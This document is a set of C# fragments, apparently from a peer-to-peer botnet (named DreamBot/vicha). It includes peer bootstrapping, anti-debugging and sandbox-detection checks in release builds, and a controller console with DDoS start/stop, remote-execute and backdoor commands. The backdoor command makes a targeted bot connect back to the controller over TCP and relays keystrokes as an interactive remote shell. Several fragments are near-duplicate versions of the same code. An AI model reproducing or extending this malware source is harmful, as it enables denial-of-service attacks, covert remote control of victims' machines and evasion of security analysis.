public static PeerInfo Parse(string line) { var parts = line.Split(new[] { '@', ':' }); var id = BotIdentifier.Parse(parts[0]); var ip = IPAddress.Parse(parts[1]); var port = int.Parse(parts[2]); return(new PeerInfo(id, new IPEndPoint(ip, port))); }
public static void Main(string[] args) { var idbuf = new byte[16]; new Random().NextBytes(idbuf); var id = new BotIdentifier(idbuf); var listenPort = 33333; var peers = new List<PeerInfo>(); foreach (var arg in args) { var v = arg.Substring(1); switch (arg[0]) { case 'p': int.TryParse(v, out listenPort); break; case 'c': foreach (var peerInfo in v.Split(new[]{';'})) { peers.Add(PeerInfo.Parse(peerInfo)); } break; case 'i': id = BotIdentifier.Parse(v); break; } } #if !DEBUG SystemInfo.CheckIfAlreadyRunning(id); AntiDebugging.CheckDebugger(); SandboxDetection.CheckIfSandboxed(); #endif _bot = new DreamBotApp(listenPort, id); _bot.Bootstrap(peers); _bot.Run(); var c = Console.ReadKey(true); while(c.Key != ConsoleKey.Spacebar) { _bot.Debug(c.Key); c = Console.ReadKey(true); } }
public static void Main(string[] args) { var hCmdWindow = GetConsoleWindow(); ShowWindow(hCmdWindow, SwShow); var idbuf = new byte[16]; new Random().NextBytes(idbuf); var id = new BotIdentifier(idbuf); var listenPort = 33333; var peers = new List <PeerInfo>(); foreach (var arg in args) { var v = arg.Substring(1); switch (arg[0]) { case 'p': int.TryParse(v, out listenPort); break; case 'c': foreach (var peerInfo in v.Split(new[] { ';' })) { peers.Add(PeerInfo.Parse(peerInfo)); } break; case 'i': id = BotIdentifier.Parse(v); break; } } agent = new Agent(listenPort, id); agent.Run(); agent.Bootstrap(peers); new ManualResetEvent(false).WaitOne(); }
public static void Main(string[] args) { var idbuf = new byte[16]; new Random().NextBytes(idbuf); var id = new BotIdentifier(idbuf); var listenPort = 33333; var peers = new List <PeerInfo>(); foreach (var arg in args) { var v = arg.Substring(1); switch (arg[0]) { case 'p': int.TryParse(v, out listenPort); break; case 'c': foreach (var peerInfo in v.Split(new[] { ';' })) { peers.Add(PeerInfo.Parse(peerInfo)); } break; case 'i': id = BotIdentifier.Parse(v); break; } } agent = new Agent(listenPort, id); agent.Run(); agent.Bootstrap(peers); var console = new VirtualConsole(0, 20); ConsolesManager.Instance.SetFocus(console); Console.SetCursorPosition(0, 21); Console.Write(new string('=', Console.BufferWidth)); var repl = new CommandLineReader(console); var suite = new CommandSet("vicha", null, console, console) { "usage: COMMAND [OPTIONS]+.", "Available commands are:", "", // { "v:", "verbosity", (int? v) => Verbosity = v.HasValue ? v.Value : Verbosity+1 }, // Commands may also be specified new DDoSStartCommand(agent, repl), new DDoSStopCommand(agent, repl), new ExecuteCommand(agent, repl), new BackdoorCommand(agent, repl), new AddNodeCommand(agent, repl), new DebugCommand(agent, repl), new Command("clear", "Clear the screen") { Run = x => repl.Clear() }, new Command("exit", "Finished the control seesion and close the agent") { Run = x => Environment.Exit(0) } }; repl.NewCommand += (sender, eventArgs) => suite.Run(eventArgs.Command.Split(new [] { ' ' }, StringSplitOptions.RemoveEmptyEntries)); repl.Run(); }
public override int Invoke(IEnumerable <string> args) { try { var extra = Options.Parse(args); if (ShowHelp) { Options.WriteOptionDescriptions(CommandSet.Out); return(0); } if (extra.Count == 0) { Console.WriteLine("commands: Missing required argument `BOT-IDENTIFIER`."); Console.WriteLine("commands: Use `help backdoor` for details."); return(1); } var botId = extra[0]; var targetBotId = BotIdentifier.Parse(botId); var peerInfo = _agent.PeerList[targetBotId]; var controllerIp = IPAddressUtils.BehingNAT(peerInfo.EndPoint.Address) ? IPAddressUtils.GetLocalIPAddress() : _agent.PublicIP; var port = new Random().Next(33000, 33999); var serverEndpoint = new IPEndPoint(controllerIp, port); var server = new TcpListener(serverEndpoint); server.Start(); var backdoorMessage = new BackdoorMessage() { TargetBotId = BotIdentifier.Parse(botId), ControllerEndpoint = new IPEndPoint(controllerIp, port) }; _agent.MessagesManager.Broadcast(backdoorMessage, 6); var client = server.AcceptTcpClient(); var stream = client.GetStream(); Console.WriteLine("Connected!"); var writer = new StreamWriter(stream) { AutoFlush = true }; var reader = new StreamReader(stream); ThreadPool.QueueUserWorkItem(s1 => { var array = new char[1024]; try { int count; while ((count = reader.Read(array, 0, array.Length)) != 0) { Console.Write(new string(array, 0, count)); } } catch (Exception e) { // ignored } }); var bgColor = Console.BackgroundColor; var fgColor = Console.ForegroundColor; //Console.BackgroundColor = ConsoleColor.Blue; Console.ForegroundColor = ConsoleColor.Cyan; Console.CursorVisible = true; ConsoleKeyInfo k; var cursorLeft = 0; var cmd = ""; while (cmd != "exit") { k = Console.ReadKey(true); if (k.Key == ConsoleKey.Enter) { Console.CursorLeft -= cursorLeft; cursorLeft = 0; writer.Write('\n'); cmd = ""; } else { cmd += k.KeyChar; writer.Write(k.KeyChar); Console.Write(k.KeyChar.ToString()); cursorLeft++; } } client.Close(); server.Stop(); Console.BackgroundColor = bgColor; Console.ForegroundColor = fgColor; Console.WriteLine("\nbackdoor closed. Good bye, master!"); Console.WriteLine(); return(0); } catch (Exception e) { // _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message); return(1); } }
public override int Invoke(IEnumerable <string> args) { try { var extra = Options.Parse(args); if (ShowHelp) { Options.WriteOptionDescriptions(CommandSet.Out); return(0); } if (string.IsNullOrEmpty(BotId)) { Console.WriteLine("commands: Missing required argument `--bot=BOT-IDENTIFIER`."); Console.WriteLine("commands: Use `help backdoor` for details."); return(1); } var port = new Random().Next(33000, 33999); var serverEndpoint = new IPEndPoint(IPAddress.Loopback, port); var server = new TcpListener(serverEndpoint); server.Start(); var backdoorMessage = new BackdoorMessage() { TargetBotId = BotIdentifier.Parse(BotId), ControllerEndpoint = new IPEndPoint(IPAddress.Parse("10.0.2.2"), port) }; _agent.MessagesManager.Broadcast(backdoorMessage, 6); var client = server.AcceptTcpClient(); var stream = client.GetStream(); var writer = new StreamWriter(stream) { AutoFlush = true }; var reader = new StreamReader(stream); ThreadPool.QueueUserWorkItem(s1 => { var array = new char[1024]; try { int count; while ((count = reader.Read(array, 0, array.Length)) != 0) { Console.Write(new string(array, 0, count)); } } catch (Exception e) { // ignored } }); ConsoleKeyInfo k; var cursorLeft = 0; while (true) { k = Console.ReadKey(true); writer.Write(k.KeyChar); Console.Write(k.KeyChar.ToString()); if (k.Key == ConsoleKey.Enter) { Console.CursorLeft -= cursorLeft; cursorLeft = 0; writer.WriteLine(); } else { cursorLeft++; } } client.Close(); server.Stop(); return(0); } catch (Exception e) { // _repl.Console.WriteLine("commands: {0}", CommandDemo.Verbosity >= 1 ? e.ToString() : e.Message); return(1); } }